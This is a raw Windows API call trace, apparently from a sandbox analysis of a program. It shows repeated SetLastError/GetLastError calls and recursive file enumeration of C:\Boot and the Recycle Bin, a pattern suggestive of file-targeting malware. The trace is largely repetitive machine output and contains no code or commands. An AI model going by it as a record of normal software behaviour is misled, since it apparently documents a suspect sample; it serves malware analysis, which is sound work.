SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.890] SetLastError (dwErrCode=0x0) [0049.890] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.891] SetLastError (dwErrCode=0x0) [0049.891] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.892] SetLastError (dwErrCode=0x0) [0049.892] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.893] SetLastError (dwErrCode=0x0) [0049.893] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.894] GetLastError () returned 0x0 [0049.894] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.895] SetLastError (dwErrCode=0x0) [0049.895] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.896] SetLastError (dwErrCode=0x0) [0049.896] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.897] SetLastError (dwErrCode=0x0) [0049.897] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.898] GetLastError () returned 0x0 [0049.898] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.899] SetLastError (dwErrCode=0x0) [0049.899] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] GetLastError () returned 0x0 [0049.900] SetLastError (dwErrCode=0x0) [0049.900] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0049.900] FindClose (in: hFindFile=0x4cda50 | out: hFindFile=0x4cda50) returned 1 [0049.902] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0049.902] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0049.902] FindClose (in: hFindFile=0x4c8c78 | out: hFindFile=0x4c8c78) returned 1 [0049.904] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a773a0 | out: hHeap=0xab0000) returned 1 [0049.904] FindNextFileW (in: hFindFile=0x4cbfe8, lpFindFileData=0x2caf674 | out: lpFindFileData=0x2caf674*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0049.904] GetLastError () returned 0x12 [0049.904] SetLastError (dwErrCode=0x12) [0049.904] GetLastError () returned 0x12 [0049.904] SetLastError (dwErrCode=0x12) [0049.904] GetLastError () returned 0x12 [0049.904] SetLastError (dwErrCode=0x12) [0049.904] GetLastError () returned 0x12 [0049.904] SetLastError (dwErrCode=0x12) [0049.904] GetLastError () returned 0x12 [0049.904] SetLastError (dwErrCode=0x12) [0049.904] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2a773a0 [0049.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4c8c78 [0049.904] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0049.904] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x8a67a2e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0xc2aeb1d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD", cAlternateFileName="")) returned 1 [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.905] SetLastError (dwErrCode=0x12) [0049.905] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] SetEvent (hEvent=0x13c) returned 1 [0049.906] ResetEvent (hEvent=0x140) returned 1 [0049.906] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc2ac5070, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0049.906] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] GetLastError () returned 0x12 [0049.906] SetLastError (dwErrCode=0x12) [0049.906] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.907] GetLastError () returned 0x12 [0049.907] SetLastError (dwErrCode=0x12) [0049.908] GetLastError () returned 0x12 [0049.908] SetLastError (dwErrCode=0x12) [0049.908] GetLastError () returned 0x12 [0049.908] SetLastError (dwErrCode=0x12) [0049.908] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.909] SetLastError (dwErrCode=0x12) [0049.909] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.910] SetLastError (dwErrCode=0x12) [0049.910] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.911] SetLastError (dwErrCode=0x12) [0049.911] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.912] SetLastError (dwErrCode=0x12) [0049.912] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.913] SetLastError (dwErrCode=0x12) [0049.913] GetLastError () returned 0x12 [0049.914] SetLastError (dwErrCode=0x12) [0049.914] GetLastError () returned 0x12 [0049.914] SetLastError (dwErrCode=0x12) [0049.914] GetLastError () returned 0x12 [0049.914] SetLastError (dwErrCode=0x12) [0049.914] GetLastError () returned 0x12 [0049.914] SetLastError (dwErrCode=0x12) [0049.914] GetLastError () returned 0x12 [0049.914] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0049.914] GetLastError () returned 0x12 [0049.914] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0049.914] GetLastError () returned 0x12 [0049.914] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0049.914] GetLastError () returned 0x12 [0049.914] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0049.914] GetLastError () returned 0x12 [0049.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*" (normalized: "c:\\boot\\cs-cz\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.062] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.062] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.062] GetLastError () returned 0x12 [0050.062] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.062] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.062] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 